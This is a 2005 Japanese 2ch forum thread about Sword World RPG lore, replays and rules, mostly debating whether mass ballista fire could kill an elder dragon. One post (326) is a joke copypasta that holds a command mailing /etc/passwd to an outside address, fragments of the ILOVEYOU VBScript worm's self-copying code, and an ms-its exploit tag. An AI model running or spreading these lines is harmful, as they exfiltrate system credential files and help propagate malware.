「山本さんのアイデアはSF的すぎてファンタジーっぽくない」
と言われ、反省してます。

301 :NPCさん:2005/07/06(水) 13:49:22 ID:???
>>299 あーメトロイドいいよな

SFCのラストで巨大なメトロイド出現!ウヒィ!・・・しかしそれは前作で助けた
子メトロイドの成長した姿だった。

この後サムスどうしたんだっけ?。

302 :NPCさん:2005/07/06(水) 14:40:27 ID:4LjiO7dD
>>288
tp://makimo.to/cgi-bin/search/search.cgi?D=cgame&q=%83%5C%81%5B%83h%81@%83%8F%81%5B%83%8B%83h&sf=2&andor=AND
11スレから数スレ間、および
ttp://makimo.to/2ch/game2_cgame/1051/1051537121.html
あたりかな。


303 :NPCさん:2005/07/06(水) 15:06:42 ID:???
>>294
バギーはイリーナ自身じゃなくて知性を持った魔法装置じゃないと。

304 :NPCさん:2005/07/06(水) 15:24:16 ID:???
>>303
ノリスin猫あたりが最適じゃない?

305 :理恵 ◆HgQHDRoDkc :2005/07/06(水) 15:46:53 ID:???
子供向けアニメを元にシナリオを作るなんて同人臭いですね。
SWユーザー全員がそうだと思われると恥ずかしいので、ここで話すのはやめてもらいたいものです。

306 :NPCさん:2005/07/06(水) 15:48:45 ID:???
理恵、脱げ

307 :NPCさん:2005/07/06(水) 15:53:09 ID:???
>>300
「砂漠の守護者」か
怪獣大戦争はやりすぎだよな。

308 :NPCさん:2005/07/06(水) 16:15:47 ID:???
>>307
真の怪獣大戦争は次のシナリオ「流星落ちる時」だがな。

309 :恵理◇hgqhdrOdKC:2005/07/06(水) 16:16:24 ID:???
>>305
個人的な価値観を元にレスをやめて欲しいなんて厨臭いですね。
コテハンが全員そうだと思われるのも無理ないんで、ここに来るのはやめてもらいたいものです。

310 :NPCさん:2005/07/06(水) 16:32:44 ID:???
>>308
あれはなぁ。
3種類しかいない(ロードス含めれば4種類)15レベルモンスターのうち
2種類まで投入するという贅沢仕様だからな。
そういや、ロードス除けば15レベルが最高だったよな。
恐るべきは呪われた島。

311 :NPCさん:2005/07/06(水) 16:34:47 ID:???
>>305
リウイやロードスも子供向けアニメだろうに。

312 :NPCさん:2005/07/06(水) 16:43:27 ID:???
子供向けである事を否定したい程度には子供なんだろう

313 :NPCさん:2005/07/06(水) 16:50:26 ID:???
>>311
子供向けアニメってのはもっと質の高いものですよ。
オタクだましのアニメと一緒にしないでほしい。

314 :NPCさん:2005/07/06(水) 16:50:40 ID:???
>>310
ロードスには16レベル2体と20レベル1体がいるからな。

315 :NPCさん:2005/07/06(水) 16:51:04 ID:???
一応デュダはタイムマシン的なものを出しているし
あれは確か521年時点ならば稼動しているはずだが。。。
完全な据え置き式定点移動型タイムマシンなのがなんとも。

316 :NPCさん:2005/07/06(水) 17:01:49 ID:???
>310
>2種類まで投入するという贅沢仕様だからな。
なんでサイクロプスは仲間ハズレなんですか?

317 :NPCさん:2005/07/06(水) 17:04:29 ID:???
サイクロプスさんは正座してSFC2を待っててくだはい

318 :NPCさん:2005/07/06(水) 17:05:17 ID:???
そりゃあ、目からビームを撃つ奴はアレクラストに相応しくなかろう・・・アレ?

319 :NPCさん:2005/07/06(水) 17:28:12 ID:???
つバグベアード


320 :NPCさん:2005/07/06(水) 17:29:15 ID:???
あんな弱いアサルト級メックはダメだ

321 :NPCさん:2005/07/06(水) 17:45:08 ID:???
サモンジ隊長のことかーっ!

322 :NPCさん:2005/07/06(水) 18:11:52 ID:???
実際ウォーハンマーより装備可能重量が減ってるんだもん。
弱くなってるよ。

323 :NPCさん:2005/07/06(水) 18:16:08 ID:???
>>301
巨大メトロイド (ベビー) は、自分が襲っている相手がサムスと判ると彼女を放し、ツーリアンの何処かへと消える。
その後、因縁の相手たるマザーブレインと対峙するサムスだが、真の姿を現したマザーブレインに手も足も出ず窮地に追い込まれる。
絶体絶命のサムスを救ったのは、二度姿を現したベビー。
ベビーはマザーブレインのエネルギーを吸い尽くした後、サムスにエネルギーを分け与える。
が、死に絶えてはいなかったマザーブレインは再び起き上がり、エネルギー注入のため動けないベビーを弄り始める。
エネルギーを注入し終え、最後の力でマザーブレインに立ち向かおうとしたベビーだが、往時の力すでに無く……ベビー爆散。
怒りとベビーからのエネルギーで覚醒するサムス。その超絶パゥアーでマザーブレインを圧倒、秒殺。
(ホントに秒殺。マザーブレイン抵抗らしい抵抗もできずにあぼーん)
苦い勝利を噛み締める間もなく、蠢動を始める惑星ゼーベス。
ゼーベスで出会った、スーツの潜在能力を導き出してくれた原生動物と共に、サムスは崩壊するゼーベスから脱出する。

……っつーストーリーだったとオモ。
マザーブレインの攻撃で核を赤く (瀕死状態) しつつも、サムスにエネルギーを注入し続けるベビーの様に泣けたよ。( つ∀`)
GBAでスーパーメトロイドでないもんかねぇ。
スレ違いスマソ。

324 :NPCさん:2005/07/06(水) 18:16:41 ID:???
まあ、そらそうと、サイクロプスは集団で出る。
しかも成長するからプリースト10LVとかもってる可能性も高い。
ファイター10で攻撃・回避・ダメージ・ダメージ減少
全部+10サイクロプスとか、GMの気分次第で出せるんだよ。
しかも、あれは鎧も武器もマジックアイテムもなしだからな。
棍棒と鎧で打撃点や防御点が+11とかってのが集団で出てきたらどうよ?

リーチも足も長いから前衛またぎこして後衛直接攻撃できるし。
それが集団で出てくるのよ。
ノーライフキングなんてザコとは脅威度違います。

325 :NPCさん:2005/07/06(水) 18:25:26 ID:???
>>324
強いだけのオリジナル生物なら何でも出せるだろう
35レベル超英雄ゴブリンとかでもいいわけだし


326 :NPCさん:2005/07/06(水) 18:27:48 ID:???
別の板にコピペすると何故か荒れる不思議なコピペ

cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT

327 :NPCさん:2005/07/06(水) 19:03:28 ID:???
一つ目から六つ目まであるサイコロプス

328 :NPCさん:2005/07/06(水) 19:23:00 ID:???
じゃあさ、>>305の元ネタの奴は何をしたの?

329 :NPCさん:2005/07/06(水) 19:46:47 ID:???
>>310
あれって完全版でやったら絶対クリア出来ないよね。
エルドラのデータ改変が多く取り上げられるけど、ダークエルフに毒が追加されたり
してるのも辛い。

330 :NPCさん:2005/07/06(水) 20:46:39 ID:???
政治力をまったく使用しないなら、そうだろうな。
バレンをはじめ国の重鎮なんだから、20点の魔昌石100個とか引き出せばいい。
あと、パワーリンクで軍隊送り込んだりとか、ゴーレム軍団送り込んだりとか、
禁断のマジックアイテムオンパレード引き出したりとか、
プリースト軍団(9LV4人、5LV以下多数)呼び出したりとか。

もちろんプレイの最初は政治的駆け引きね。

331 :NPCさん:2005/07/06(水) 20:47:36 ID:???
×パワーリンクで軍隊送り
○パワーリンク+テレポートで軍隊送り


332 :NPCさん:2005/07/06(水) 20:50:51 ID:???
SWのシステムで5レベル以上、差がある奴を送り込んで何の意味があるやら。

333 :NPCさん:2005/07/06(水) 20:51:07 ID:???
コーラスアスは古代竜だったのか

334 :NPCさん:2005/07/06(水) 20:54:28 ID:???
>>330
SWで軍隊送り込んでもあんまり心強くないなあ。
相手がコーラスアスやルテジアじゃなければまだしも。


しかしそれはそれとして各方面の支援が非常に重要だというのは確かだな。
アイテムとか精神力の回復とか。

335 :NPCさん:2005/07/06(水) 20:57:35 ID:???
>>333
コーラスアス様はエルダードラゴンですよ?

336 :NPCさん:2005/07/06(水) 21:05:42 ID:???
強力な竜相手に軍隊なんて役に立ちませんよ。
焼き払われて終わり。
しかも、陣地を設営してバリスタを構えているならともかく、テレポートで飛ばすなんて愚の骨頂。
無駄な死人を増やすだけ。

ノーライフキングにいたっては、魔法の武器を装備させた軍隊なんて有り得ない物でも無い限り
ダメージ一つ与えられずに、ただの餌になるのがオチ。

337 :NPCさん:2005/07/06(水) 21:07:59 ID:???
>>335
web角川

338 :NPCさん:2005/07/06(水) 21:09:01 ID:???
ロードスでもシューティングスターにフレイム軍がボコボコにされてたもんなー

339 :NPCさん:2005/07/06(水) 21:25:02 ID:???
>>337
http://www.kadokawa.co.jp/bunko/bk_search.php?pcd=200506000036
ソード・ワールドRPGリプレイ・アンソロジー
デーモン・アゲイン

>[ 内容 ]
>バブリーズが古代竜の依頼で、上位魔人召喚の壷を探索。
>有り余る資金によるお大尽アタックと過剰なほどの権謀術数がアノスの地に響き渡る!
>秋田みやび、藤澤さなえのセッションも収録!


これか。

340 :NPCさん:2005/07/06(水) 21:26:58 ID:???
ついでに富士見書房のサイト見てみたらソードワールド100巻突破THANKSキャンペーンというのをやっていた。
そんなに出してたんだな。
サーラも今月新刊出るみたいだし。いろいろ活発でいいことだ。

341 :NPCさん:2005/07/06(水) 21:29:16 ID:???
どれだけ活発になっても混沌新刊とガイドブックは出ないよ

342 :NPCさん:2005/07/06(水) 21:29:49 ID:???
ドラゴン相手に36人に一人はバリスタを命中させて、さらにその中で6人に一人はクリティカルして、さらにその中で6人に一人は二度目のクリティカルをする。
1296人の軍隊が全員打撃力50のバリスタかクレインクィンを撃てば36人が命中させて、そのうち6人がダメージを与え、その中の一人は確実に10点以上のダメージになる、てところか。
全員が予め弓をつがえたのを二つずつ持って、接近してくるのに連射すればそれなりのダメージにはなる。
…あとは1296人を広範囲に配置して、一回のブレスじゃ全滅しないようにして、三発目を撃てばなんとか沈められんか?

343 :NPCさん:2005/07/06(水) 21:30:15 ID:???
イーストエンドもな。

344 :NPCさん:2005/07/06(水) 21:31:19 ID:???
次はリプレイ100巻突破記念

とか

345 :NPCさん:2005/07/06(水) 21:31:57 ID:???
>>342
どうやって、その戦力集中を成立させるんだ?
あとは相手が都合よく接近してくれるという前提もアウト

346 :NPCさん:2005/07/06(水) 21:35:25 ID:???
>>344
いまでリプレイが何冊だ?20〜30冊ぐらい?

347 :NPCさん:2005/07/06(水) 21:35:28 ID:???
>>342
全員がバリスタを二つずつ持つと言うのがすでに無茶な前提じゃないか?

348 :NPCさん:2005/07/06(水) 21:39:32 ID:???
>>342
バリスタって知ってるか?
あんなものを1300人が2つずつ準備するって、お前正気か?

349 :NPCさん:2005/07/06(水) 21:43:25 ID:???
ここで「ルールブックにはなにも制約が書いてないから持てないのはおかしい」と主張する奴が登場


350 :NPCさん:2005/07/06(水) 21:44:03 ID:???
>>346
第1部:3冊
第2部:2冊
第3部:4冊
ミラルゴ編:2冊
アンマント編:2冊
デュダ:3冊
ロードス編:3冊
へっぽこ:9冊〜
バブリーズ(再販):4冊
ぺらぺら:3冊〜
今度出るR&R纏めた奴

ロードス編とか再販とかちょっとアレだが、そろそろ40冊近い。

351 :NPCさん:2005/07/06(水) 21:44:27 ID:???
>>349
運用に複数人いるって書いてなかったっけ?

352 :NPCさん:2005/07/06(水) 21:46:03 ID:???
>347-348
つ[クレインクィン]

353 :NPCさん:2005/07/06(水) 21:46:56 ID:???
>>350
ロードスはソードワールドRPGのリプレイじゃなかったと思う。

354 :NPCさん:2005/07/06(水) 21:47:29 ID:???
>1296人で一斉射撃
せいぜい5レベルどまりの常人からなる軍隊でエルダードラゴンを倒す方法って他にあるか?

355 :NPCさん:2005/07/06(水) 21:49:53 ID:???
>>350
>ロードス編:3冊
なんじゃこりゃ?
ロードスリプレイなら6冊出てるし、SWのリプレイじゃないぞ。

356 :NPCさん:2005/07/06(水) 21:50:27 ID:???
「ボクチンが思いつかないから不可能だったら不可能だーい」ってわめく香具師Uzeeeeeee!
バリスタの他にクレインクィンもかいてあるじゃん。
ただ1296人分×2の大量のクレインクィンを用意するなんて、資金・時間的にも無理だと思うけどな。

357 :NPCさん:2005/07/06(水) 21:51:34 ID:???
>>352
如何にクインクレンとは言え、筋力が20いるんだがな>打撃力50

358 :NPCさん:2005/07/06(水) 21:52:07 ID:???
>>356
相手の行動に依存してる時点でダメだろ。

359 :NPCさん:2005/07/06(水) 21:53:31 ID:???
>354
つ[ランス構えた騎兵の突撃による打撃力50の攻撃、しかも強打]
36人に一人は命中するのは同じだし、ダメージが軍馬のレベル分増えるし、クリティカル率は弓矢の1.5倍以上。
こっちの方が効率いいと思う。

360 :NPCさん:2005/07/06(水) 21:53:45 ID:???
クレインクィンだとダメージが一気に下がるぞ。
1300程度じゃ無理だ。

361 :NPCさん:2005/07/06(水) 21:54:22 ID:???
>>356
思い付かなかったとかって話じゃない気がするんだけど……
結局軍隊を集めて送り込むのはあんまり有効ではないって事で結論は同じなんだろ。

362 :NPCさん:2005/07/06(水) 21:55:15 ID:???
>357
ファイター技能なら重い武器でも命中にペナがあるだけど使えるよ。
どうせ6ゾロしか命中しないんだから、攻撃力なんてのは幾つだろうと飾りですよ。
エロい人にはそれがわからんのですよ。

363 :NPCさん:2005/07/06(水) 21:56:44 ID:???
>>359
コーラスアスは空を飛ぶ。ルテジアもな。

364 :NPCさん:2005/07/06(水) 21:58:28 ID:???
>360
>クレインクィンだとダメージが一気に下がるぞ。
弓の追加ダメージは「『最大で』も『弓の必要筋力』まで」であって、必要筋力がそのまま使われるんじゃないんじゃないか?

365 :NPCさん:2005/07/06(水) 21:59:34 ID:???
>363
付け加えるなら、
弓ならドラゴンの攻撃可能範囲外から攻撃ができる。
ランスならより近づくので反撃される可能性がでる。

366 :NPCさん:2005/07/06(水) 21:59:42 ID:???
>>363
それ以前に1体の敵に向かって36体が突撃したら、常識の壁が立ちはだかりそうだ。

367 :NPCさん:2005/07/06(水) 22:00:21 ID:???
>>359
強打は「なぎ払い」「体当たり」「部位狙い」とは組み合わせできるが「突撃」と組み合わせできるとは書いてないぞ
(完全版P287)

368 :NPCさん:2005/07/06(水) 22:00:26 ID:???
ヒント:ドラゴン

369 :NPCさん:2005/07/06(水) 22:00:35 ID:???
>366
つ[ドラゴンは全長10m以上]

370 :NPCさん:2005/07/06(水) 22:06:08 ID:???
>365
近づくと、ブレスとか咆哮の餌食だもんな。

371 :NPCさん:2005/07/06(水) 22:06:54 ID:???
エルダーなんて、倒せるわけないじゃん。
つ[フォースフィールド]

372 :NPCさん:2005/07/06(水) 22:07:20 ID:???
>>369
馬に乗った人間も3メートルくらいの面積を占有する。
36人は無理じゃろ。

373 :NPCさん:2005/07/06(水) 22:07:56 ID:???
>>364
バリスタの必要筋力50とクレインクィンの必要筋力50を一緒にするのかw
打撃力50のために必要筋力20まで位ならわかるが、
必要筋力50のクレインクィンってどういう代物だw

374 :NPCさん:2005/07/06(水) 22:10:31 ID:???
千人も人数揃えて動けなくなるよりシャーマンを二桁揃えてシェイド掛けた方が良いんじゃないか?
あるいはソーサラーのマグレ魔法

375 :NPCさん:2005/07/06(水) 22:13:05 ID:???
クレインクィンクロスボウはバリスタと違って多人数で引けないから、必要筋力を常識的な範囲に収めておかないと準備すらできないぞ。

376 :NPCさん:2005/07/06(水) 22:14:46 ID:???
流星落ちる時で不思議だったのはバグベアードがレッサーになるとレベル上がって強力になったのに
8〜9レベル冒険者がレッサーで弱体化してた事。
まあ、3レベルアップで技能そのまま使われたら負けるんだが・・・

377 :NPCさん:2005/07/06(水) 22:15:25 ID:???
そこでストーンサーバントですよ

378 :NPCさん:2005/07/06(水) 22:23:54 ID:???
>>376
D&Dのスケルトンテンプレートみたいに種族としての能力+レッサーバンパイア能力なのかもしれん。

379 :NPCさん:2005/07/06(水) 22:33:46 ID:???
>373
ごめん、他コチ並に前提とかすっとばして書かれても意味がわかんない。
弓の追加ダメージの決め方って「射手の筋力と弓の必要筋力のうち低い方」+「技能」じゃなかったか?

380 :NPCさん:2005/07/06(水) 22:35:03 ID:???
>374
一般に、兵士よりもルーンマスターの方が稀少だと思うよ。
大抵の魔法は拡大しても射程距離で弓に劣るし。

381 :NPCさん:2005/07/06(水) 22:36:34 ID:???
>376
それは不公平ですね。
モンスターもレベルとそれに付属する抵抗値は3に落とすべきですね。

382 :NPCさん:2005/07/06(水) 22:39:37 ID:???
>>379
とりあえずクレインクィンとバリスタの追加ダメージは必要筋力で決定する。使用者の筋力ボーナスは使ってない。

383 :NPCさん:2005/07/06(水) 22:41:07 ID:???
>>379
クレインクィン(バリスタもそうだが)の追加ダメージは
「技能レベル+{必要筋力÷3(端数切捨て)}」だぞ。
で、必要筋力50のバリスタは複数人が複数ターンかけて巻けるが、必要筋力50のクレインクィンをどうやって巻き上げるんだ?

筋力50の化け物が全員分必死に巻き続けるのか?
1300×2も? 一つ当たり4ターンもかかるものを?
ちなみに、長時間かかるとクロスボウの準備はダメになるぞ。

384 :NPCさん:2005/07/06(水) 22:42:50 ID:???
>ドラゴンへ集中射撃
よーするに「火縄銃で騎馬軍団を倒すには、大量の鉄砲を用意して三交代式で連射しろ」みたいなもんか。
火縄銃の時代ってのはまだ手作りなわけだからそうそう量産化なんてできないし、射ち手の熟練にも時間がかかるから、事実上不可能なんだけどな。

385 :NPCさん:2005/07/06(水) 22:43:00 ID:???
>>381
それじゃつまらないだろ。

386 :NPCさん:2005/07/06(水) 22:43:22 ID:???
Q&Aによると、クロスボウが最大でも使用者の筋力÷6までだから、クレインクィンも使用者の筋力÷3までじゃね?

387 :NPCさん:2005/07/06(水) 22:44:52 ID:???
>342
>36人が命中させて、そのうち6人がダメージを与え
これ必要筋力20のクレインクィンで考えてるんじゃないか?

388 :NPCさん:2005/07/06(水) 22:45:28 ID:???
それに必要筋力が高い巻き上げ済みクロスボウを
低い筋力で撃てるのはハウスルールにすぎない。
ルルブにはその辺言及されてないので、
追加ルール通りに足りない筋力分だけ命中にマイナスがつくべき。

389 :NPCさん:2005/07/06(水) 22:45:39 ID:???
どうせなら「のろわれた島に炎立つ」も収録してくれたらいいのに。
嗚呼、疾風クラリベル一座が。

390 :NPCさん:2005/07/06(水) 22:45:42 ID:???
>>386
クレィンクィンだけは÷3だ。

391 :NPCさん:2005/07/06(水) 22:45:50 ID:???
>385
そうだね。レッサー化した冒険者も、生前のレベル+3にするべきだね。

392 :390:2005/07/06(水) 22:46:21 ID:???
>>386
ゴメン、読み間違いしてたorz

393 :NPCさん:2005/07/06(水) 22:46:55 ID:???
>>348
だから軍隊を動員するんだろ。
国家存亡の危機をバリスタ1300基で回避できるなら余裕だって。

394 :NPCさん:2005/07/06(水) 22:47:02 ID:???
>追加ルール通りに足りない筋力分だけ命中にマイナスがつくべき。
つ[どのみち15レベルモンスターには、6ゾロでしか命中しない]

395 :NPCさん:2005/07/06(水) 22:49:14 ID:???
ドラゴン恐怖の咆哮
レベルの低い射手と馬はほとんど抵抗失敗
ドラゴン相手に大軍は無理

396 :NPCさん:2005/07/06(水) 22:51:34 ID:???
>388
362で既出だよ。

「自分の思いつかない事は禁止」厨はこんな程度の事もわからずに喚くなんてああ嫌だ嫌だ。

397 :NPCさん:2005/07/06(水) 22:51:36 ID:???
一斉にかかってこられたら面倒なので途中に罠を仕掛けて減らします。

ドラゴンが。

398 :NPCさん:2005/07/06(水) 22:52:22 ID:???
>395
距離って無制限だったっけ?
どのみち耳栓という対抗手段があるけどな。

399 :NPCさん:2005/07/06(水) 22:53:12 ID:???
三万六千人用意できれば一千人くらいは平然としていられるわけだが

400 :NPCさん:2005/07/06(水) 22:53:32 ID:???
>397
人間の目の高さに貼られた極太ロープ。
それはドラゴンがしかけた、足で引掛けて発動させる罠のトリガーだった(w

401 :NPCさん:2005/07/06(水) 22:55:12 ID:???
>1296人
たしかロマール辺りの騎士全員が一人一つずつクレインクィンかバリスタ用意すれば、その位にならなかったっけ?

402 :NPCさん:2005/07/06(水) 22:57:21 ID:???
エルダードラゴンやノラキンはともかくサイクロプスには有効かもな>バリスタ

403 :NPCさん:2005/07/06(水) 22:57:25 ID:???
一万人と二千人で射ちまくる。
八千人過ぎたあたりでもう動かなくなった。

404 :NPCさん:2005/07/06(水) 22:58:03 ID:???
>398
バードの呪歌並に100mくらいじゃなかったっけ?

405 :NPCさん:2005/07/06(水) 23:00:00 ID:???
>402
投石でぶっ壊されました。

406 :NPCさん:2005/07/06(水) 23:02:10 ID:???
>>404
必要筋力50のバリスタなら最大射程650mだ。
どうせ36分の1でしか当たらないんだから射程距離の優位は最大限生かしたいな。

407 :NPCさん:2005/07/06(水) 23:03:01 ID:???
まあ、迂回されて終りだな。

408 :NPCさん:2005/07/06(水) 23:03:45 ID:???
>>403
マイリーを知ったその日から僕の戦場にバトルソングは絶えない

409 :NPCさん:2005/07/06(水) 23:05:44 ID:???
>>407
迂回されたんなら国側の勝利じゃないか?
無事国を守れたんだし。
他国がどうなろうと知ったことか。

410 :NPCさん:2005/07/06(水) 23:07:35 ID:???
>36分の1でしか当たらない
命中率が落ちても構わないから、打撃力50のバリスタ相当のものを素人同然の連中に大量生産させる。
騎士を千人くらい動員できる国なら多分可能。
騎士一人につき従者が何人(最低一人の可能性もあるが)かいるわけだから、そいつらに木材とかで巨大クロスボウ(モドキ)を作らせる。
それに矢を番えて一斉射撃。

ちなみに元ネタは「サーガ・オブ・ドラゴン」。

411 :NPCさん:2005/07/06(水) 23:08:25 ID:???
>>409
流石に650mの範囲内しか守れないようじゃなぁ・・・
オランの都市だけでも、1,2kmじゃきかんだろ。
街が壊滅して、バリスタが残っても意味は無いぞ。

412 :NPCさん:2005/07/06(水) 23:10:14 ID:???
そう言う戦法を採る国に対してエルダードラゴンはどうやって攻めるだろうか。
フォースシールドかけて突っ込んだり、大岩を運んで来て届かないところから質量攻撃とかかな。

413 :NPCさん:2005/07/06(水) 23:10:36 ID:???
やはりドラゴンの巣穴をみつけて、そこを取り囲んで軍を配置。
決死隊がドラゴンを挑発して出てきたところで一斉射撃、とかか?

414 :NPCさん:2005/07/06(水) 23:11:10 ID:???
>412
フツーはドラゴンは人間の大都市は襲撃しません。

415 :NPCさん:2005/07/06(水) 23:13:10 ID:???
>>411
都市をまもるために城壁があるんじゃないか。
城壁で足止め→遠距離射撃。
サイクロプスごときなんとでもなる。
大勢で凝られたらどうしようもないけど。

416 :NPCさん:2005/07/06(水) 23:14:33 ID:???
>>412
バリスタ密集地帯以外を焼き払えば、残った軍隊も立ち枯れるから、特に考えなくてもいいんじゃない?


417 :NPCさん:2005/07/06(水) 23:14:37 ID:???
一千人のサイクロプス軍の前には、いかなる城壁も無駄無駄無駄ァーーーーーッ

すぐに食料難になりそうだけどな。

418 :NPCさん:2005/07/06(水) 23:14:50 ID:???
>>415
待て、どうしてサイクロプスになる?
ドラゴンの話だろ。

419 :NPCさん:2005/07/06(水) 23:15:24 ID:???
>>415
都市以外に兵力を集中して、農村部が蹂躙されれば都市も維持できない訳だが。

420 :NPCさん:2005/07/06(水) 23:15:27 ID:???
サイクロプスって人間食べなかったっけ?

421 : :2005/07/06(水) 23:15:37 ID:???
ドラゴン:うざいし、餌が十分なら人間なんてどうでもいい
人間  :餌場から出てこなければ無視

問題は「流星落ちるとき」みたいな状況だが。上手く交渉するしかないな。
世界が滅ぶ、とかならドラゴンも協力してくれるだろう。

422 :NPCさん:2005/07/06(水) 23:15:52 ID:???
ディメンジョンゲートで繋げて炎吐いたらどうなるんだ?

423 :NPCさん:2005/07/06(水) 23:16:11 ID:???
>417
>食料難
人間の都市を襲うんですよ?十分足りるじゃないですか。

424 :NPCさん:2005/07/06(水) 23:16:38 ID:???
>>420
海辺の岩場あたりに住んでる。
何を食ってるかは不明。
きっとジャイアントオクトパスとかじゃないかと思うが。

425 :NPCさん:2005/07/06(水) 23:17:05 ID:???
>421
あ、オレ、カーディス信者だから。

426 :NPCさん:2005/07/06(水) 23:17:57 ID:???
>422
炎だけ送るってのも可能じゃないか?
問題は、一度は人間の都市の中にはいらないとゲートは開けないんだが。

427 : :2005/07/06(水) 23:18:25 ID:???
>>425
カーディス信者のエルドラ? これは超英雄キャンペーンのラスボス候補ですね。

428 :NPCさん:2005/07/06(水) 23:18:40 ID:???
>>424
あ、海外版だ

429 : :2005/07/06(水) 23:19:23 ID:???
サイクロプスの主食は果物と羊から得られる乳製品です。

430 :NPCさん:2005/07/06(水) 23:21:40 ID:???
筋力12、3レベルのファイターを前提とする。
クレインクィンクロスボウを使用。必要筋力は12。どうせ6ゾロ狙いだからできればなるべく強いのが欲しいが
たぶんそんなものを常備していないだろうという事で普通に使えるものにしてみた。
打撃力は34。追加ダメージは4(必要筋力÷3)+3(レベル)で7。

1発目がクリティカルするとして10か11点。追加ダメージ足して17〜18点。
次の出目が7だとして+8点だから25〜26点ダメージ。
(ちなみに出目が4以上ならエルドラに1点は通るので回ればほとんどダメージは通る。)
平均4〜5点ダメージが行くので、低めに見積もって4点としても
生命点70点を削りきるには18発これを当てればいい。

36回に1回当たって、6回に1回がクリティカルして4点ダメージを与えるとすると
3888回クレインクィンを発射すればエルダードラゴンが死ぬ。
2回以上クリティカルする可能性を考慮するとたぶん倒すのはもっと早いだろう。

ただの単純計算だからブレスで焼き殺されたりエルダードラゴンが逃げたりとかは計算外だけどなw

431 :NPCさん:2005/07/06(水) 23:23:01 ID:???
>>428
Rネタはすぐ風化するぞ

432 :NPCさん:2005/07/06(水) 23:23:23 ID:???
サイクロプスって単純な殴り合いでもノラキンに負けるんじゃないか?

433 :NPCさん:2005/07/06(水) 23:24:33 ID:???
>429
え、うそっ。



山羊の乳製品じゃなかったんだ。

434 :NPCさん:2005/07/06(水) 23:25:54 ID:???
>>432
通常攻撃無効だから考えるまでも無い。

つーか、「単体ではなく複数現れることも考慮して15レベルだろう」ってのが過去スレで出た結論。

435 :NPCさん:2005/07/06(水) 23:27:12 ID:???
>434
>通常攻撃無効だから考えるまでも無い。
同レベルだから攻撃は有効だよ。

436 :NPCさん:2005/07/06(水) 23:29:53 ID:???
>>432
サイクロプス:攻撃点23(16) 打撃点26
       回避点20(13) 防御点19

ノーライフキング:攻撃点22 打撃点19+精神ダメージ
         回避点24(17) 防御点17

選択ルール使わない限りサイクロプスの攻撃は当たらないな。

437 : :2005/07/06(水) 23:31:11 ID:???
そこで「上位ジャイアント語魔法」ですよ

精神的ダメージ無効バリアとかジャイアント・ターンアンデッドとか素敵な魔法満載。

438 :NPCさん:2005/07/06(水) 23:31:59 ID:???
良くわからないのだけど、マンチコテと某スレの妖怪は同一人物なの?それとも別人?

439 :NPCさん:2005/07/06(水) 23:32:40 ID:???
あっという間に最強レベルモンスター「レッサーバンパイアサイクロプス」の出来あがり。

440 :NPCさん:2005/07/06(水) 23:33:20 ID:???
>>436
モンスター間の戦闘では攻撃する方がダイスを振る。
これは基本ルール。

441 :NPCさん:2005/07/06(水) 23:40:02 ID:???
そういやナースはノラキンになれる能力あるんだよな。
なったら餓死するだろうが。

442 :NPCさん:2005/07/06(水) 23:43:33 ID:???
>>441
ビカムノーライフキングは古代語魔法だぞ。
別に暗黒魔法の有無は関係無いし、さらに死霊魔法の秘術だから10LVでも使えるとは限らん。
ついでに、英知の額冠を被るは物理的に無理だ。

443 :NPCさん:2005/07/06(水) 23:46:14 ID:???
>英知の額冠を被るは物理的に無理だ

必死に人間用スケールの冠を被ろうとするドラゴンを想像するとちょっとラヴリー。
角の先にでも引っ掛けとけば何とかなるような気もするが、
それで効果が得られるかどうかは別問題だな。

444 :NPCさん:2005/07/06(水) 23:49:20 ID:???
>>442
へっぽこに出てきた魂入れ替えの杖を使えば良いんじゃ?
念のため入れ替わる人間には事前にギアスをかけておいて、
体の返還を拒否できないようにしておく。

445 :NPCさん:2005/07/06(水) 23:54:15 ID:???
>438
今百鬼の過去ス確認したけど、マンチコテがいなくなった途端妖怪が出てきた。
(3スレのラストでいなくなって、4スレから出現)
だから間違いなく同一人物。

446 :NPCさん:2005/07/06(水) 23:54:19 ID:???
普通に人間に変身すればいいのでは。
ドラゴンは変身魔法使えないんだっけ?

447 : :2005/07/06(水) 23:55:41 ID:???
とんがり帽子をかぶったとぼけた老魔術師風の人間にでも。

448 :NPCさん:2005/07/06(水) 23:56:05 ID:???
>444
杖で入れ換えた人間を、アネットの使った鏡で映して技能コピー。
自分も有能な肉体と交換してから、その鏡で技能を得る。
これで、3人分の技能を追加できる。

449 :NPCさん:2005/07/06(水) 23:56:35 ID:???
>447
えーと、レイストリン?

450 :NPCさん:2005/07/06(水) 23:57:04 ID:???
>>446
ポリモルフはかからないし、シェイプチェンジはサイズ制限が。
あ、シナリオ集に体を小さくする薬が出てきたな。あれ使ってからシェイプチェンジならOKかも。

451 :NPCさん:2005/07/06(水) 23:57:35 ID:???
>>449
フィズバンだろ

452 :NPCさん:2005/07/06(水) 23:59:45 ID:???
>>446
変身系は幻獣は不可。

453 :NPCさん:2005/07/07(木) 00:04:45 ID:???
>450
>シナリオ集に体を小さくする薬が出てきたな
ドラゴンには毒無効だから通用しないよ。

454 :NPCさん:2005/07/07(木) 00:05:12 ID:???
割と不便だなドラゴン

455 :NPCさん:2005/07/07(木) 00:08:32 ID:???
>毒無効
というか、治癒のポーションの類も通用しないと思う。
やっぱりエッグシェルターで自己治癒するのかな。

456 :NPCさん:2005/07/07(木) 00:08:40 ID:???
でもエルダードラゴンクラスになれば人間に化けることくらい出来てもいいような・・・

457 :NPCさん:2005/07/07(木) 00:09:26 ID:???
>445
サンクス。これで納得したよ。

458 :NPCさん:2005/07/07(木) 00:10:00 ID:???
>456
つ[ドラゴンハーフ]

459 :NPCさん:2005/07/07(木) 00:10:35 ID:???
>>456
カーラの特別変身魔法みたいなヤツ?

460 :NPCさん:2005/07/07(木) 00:19:38 ID:???
>カーラの特別変身魔法
D&Dじゃ普通にある魔法だったんだけどね。
PCがモンスターに変身して有利になるのを禁止したから、そんなことになっちゃったんだろうね。

461 :NPCさん:2005/07/07(木) 00:28:12 ID:???
>>460
そこはそれ、CD&Dのポリモルフセルフは
戦闘データのほとんどが変身前と変わらないから。

